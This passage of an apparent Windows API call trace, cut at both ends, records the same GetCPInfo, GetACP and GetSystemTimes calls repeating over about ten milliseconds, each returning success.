GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.801] GetACP () returned 0x4e4 [0054.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.802] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.803] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.804] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.804] GetACP () returned 0x4e4 [0054.804] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.805] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.805] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.805] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.806] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.806] GetACP () returned 0x4e4 [0054.806] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.807] GetACP () returned 0x4e4 [0054.807] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.807] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.808] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.808] GetACP () returned 0x4e4 [0054.808] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.809] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.809] GetACP () returned 0x4e4 [0054.809] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.810] GetACP () returned 0x4e4 [0054.810] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.810] GetCPInfo (in: CodePage=0x0, 